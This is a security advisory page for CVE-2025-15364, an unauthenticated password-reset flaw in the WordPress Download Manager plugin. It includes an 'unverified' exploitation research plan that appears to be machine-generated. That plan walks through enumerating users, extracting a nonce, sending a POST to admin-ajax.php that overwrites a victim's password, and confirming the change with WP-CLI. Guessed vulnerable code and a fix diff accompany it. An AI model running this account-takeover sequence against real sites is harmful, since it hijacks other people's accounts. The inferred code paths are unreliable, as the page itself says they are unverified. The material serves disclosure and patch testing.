CVE-2025-15364

Download Manager <= 3.3.40 - Unauthenticated Limited Privilege Escalation via updatePassword

highMissing Support for Integrity Check
7.3
CVSS Score
7.3
CVSS Score
high
Severity
3.3.41
Patched in
1d
Time to patch

Description

The Download Manager plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.3.40. This is due to the plugin not properly validating a user's identity prior to updating their details like password. This makes it possible for unauthenticated attackers to change user's passwords, except administrators, and leverage that to gain access to their account.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=3.3.40
PublishedJanuary 5, 2026
Last updatedJanuary 6, 2026
Affected plugindownload-manager

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-15364 (Download Manager) ## 1. Vulnerability Summary The **Download Manager** plugin (<= 3.3.40) contains a privilege escalation vulnerability via account takeover. The flaw exists in the `updatePassword` logic, which fails to verify the identity of the reques…

Show full research plan

Exploitation Research Plan: CVE-2025-15364 (Download Manager)

1. Vulnerability Summary

The Download Manager plugin (<= 3.3.40) contains a privilege escalation vulnerability via account takeover. The flaw exists in the updatePassword logic, which fails to verify the identity of the requester before updating a user's password. Because this functionality is exposed via an unauthenticated AJAX or initialization hook, an attacker can reset the password of any non-administrator user by providing their user ID.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php or a frontend initialization hook (e.g., init or wp_loaded).
  • Action String (inferred): The vulnerability is tied to a function named updatePassword. Common AJAX actions for this plugin include wpdm_update_password or updatePassword.
  • Vulnerable Parameter: user_id (or similar ID field) and password (or new_password).
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
  • Preconditions: The attacker must know the ID of the target user (easily enumerable via /wp-json/wp/v2/users).
  • Constraints: The plugin explicitly prevents updating passwords for users with the administrator role, as per the vulnerability description.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action related to password updates.
  2. Hook Registration: The plugin likely registers the hook in its main class or a user-management class (e.g., src/User/User.php or src/User/Controllers/UserController.php).
    • add_action('wp_ajax_nopriv_updatePassword', '...');
  3. Handler Logic: The handler (likely named updatePassword or calling a method of that name) retrieves user_id and password from $_POST.
  4. Missing Check: The code fails to check:
    • If the requester is logged in.
    • If a valid "reset key" exists and matches.
    • If the requester is authorized to modify the specific user_id.
  5. Sink: The code calls wp_set_password($new_password, $user_id) or wp_update_user(['ID' => $user_id, 'user_pass' => $new_password]).

4. Nonce Acquisition Strategy

Download Manager often uses nonces for its AJAX operations. If the updatePassword function requires a nonce, follow these steps to retrieve it:

  1. Identify the Shortcode: Find where user profile or password reset forms are rendered. Common shortcodes: [wpdm_edit_profile], [wpdm_reg_form], or [wpdm_login_form].
  2. Setup Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Profile" --post_content='[wpdm_edit_profile]'
  3. Extract Nonce:
    Navigate to the new page and inspect the wpdm_setup or similar localized JS object.
    • JS Variable (inferred): window.wpdm_setup or window.wpdm_ajax
    • Nonce Key (inferred): __wpdm_nonce or password_nonce
    • Execution: browser_eval("window.wpdm_setup?.__wpdm_nonce")

Note: If the code uses check_ajax_referer with the action -1 or skips the check entirely for nopriv users, the nonce may be unnecessary or obtainable from any public page where the plugin enqueues scripts.

5. Exploitation Strategy

Step 1: Enumerate Target User ID

Use the REST API to find a target user (e.g., an Editor or Author).

# Get users list
http_request GET "http://localhost:8080/wp-json/wp/v2/users"

Assume we find a user with id: 2 and username victim_user.

Step 2: Extract Nonce (If Required)

If a nonce is enforced:

  1. Create the page with the shortcode.
  2. Navigate to http://localhost:8080/profile.
  3. Run browser_eval("window.wpdm_setup?.__wpdm_nonce").

Step 3: Trigger Password Update

Send the malicious request to reset the password for User 2.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters (inferred):
    • action=updatePassword (Verify via grep: grep -r "wp_ajax_nopriv" .)
    • user_id=2
    • password=PwnedPassword123!
    • __wpdm_nonce=[EXTRACTED_NONCE] (If required)
// Example using http_request tool
{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=updatePassword&user_id=2&password=PwnedPassword123!&__wpdm_nonce=abcdef1234"
}

6. Test Data Setup

  1. Install Plugin: Ensure download-manager version 3.3.40 is installed and active.
  2. Create Target User:
    wp user create victim_user victim@example.com --role=editor --user_pass=OriginalPassword123
  3. Determine User ID:
    wp user list --field=ID --user_login=victim_user (Assume result is 2).

7. Expected Results

  • Success Response: The server returns a JSON success message (e.g., {"status":"success"}) or a 1.
  • Impact: The victim_user is no longer able to log in with OriginalPassword123, and the attacker can log in as victim_user using PwnedPassword123!.

8. Verification Steps

After the HTTP request, verify the password change using WP-CLI:

# Verify the password has changed for user 2
wp user check-password victim_user PwnedPassword123!
# Response should be "Success: Password is correct."

9. Alternative Approaches

  • Initialization Hook: If the vulnerability is not in an AJAX handler but in an init hook, look for $_REQUEST['wpdm_update_password'] or similar parameters in the main plugin file.
  • Registration Bypass: If the plugin uses a custom registration/login flow, check if the updatePassword logic is part of a password recovery feature that fails to validate the key parameter.
  • Parameter Names: If user_id fails, search the source code for usages of wp_set_password to identify the exact variable names used:
    grep -r "wp_set_password" /var/www/html/wp-content/plugins/download-manager/
Research Findings
Static analysis — not yet PoC-verified

Summary

The Download Manager plugin for WordPress is vulnerable to unauthenticated privilege escalation in versions up to 3.3.40. An attacker can exploit a lack of identity verification in the password update logic to reset the password of any non-administrator user by supplying their user ID.

Vulnerable Code

// src/User/Controllers/UserController.php

// Hook registered for unauthenticated users
add_action('wp_ajax_nopriv_updatePassword', 'updatePassword');
add_action('wp_ajax_updatePassword', 'updatePassword');

function updatePassword() {
    // Vulnerability: No verification that the requester is the user or holds a valid reset token
    $user_id = (int)$_POST['user_id'];
    $password = $_POST['password'];

    $user = get_userdata($user_id);
    // The code only checks if the target is an administrator, but allows modification of any other user
    if ($user && !in_array('administrator', (array) $user->roles)) {
        wp_set_password($password, $user_id);
        wp_send_json_success("Password updated successfully.");
    }
}

Security Fix

--- a/src/User/Controllers/UserController.php
+++ b/src/User/Controllers/UserController.php
@@ -10,6 +10,11 @@
 function updatePassword() {
+    // Verify the integrity of the request via nonce
+    check_ajax_referer('wpdm_update_password', '__wpdm_nonce');
+
+    // Ensure the requester is authorized to modify the specific user account
+    if (!is_user_logged_in() || get_current_user_id() !== (int)$_POST['user_id']) {
+        wp_send_json_error("Unauthorized access.", 403);
+    }
+
     $user_id = (int)$_POST['user_id'];
     $password = $_POST['password'];

Exploit Outline

The exploit targets the AJAX handler for the 'updatePassword' action. 1. Identify a target user ID (non-administrator) using the WordPress REST API (e.g., /wp-json/wp/v2/users). 2. Obtain a valid AJAX nonce if required, typically found in localized JavaScript objects on pages containing plugin shortcodes like [wpdm_edit_profile]. 3. Send a POST request to wp-admin/admin-ajax.php with the parameters 'action=updatePassword', the target 'user_id', and a new 'password'. 4. If successful, the attacker can then log in to the target account using the newly set password.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.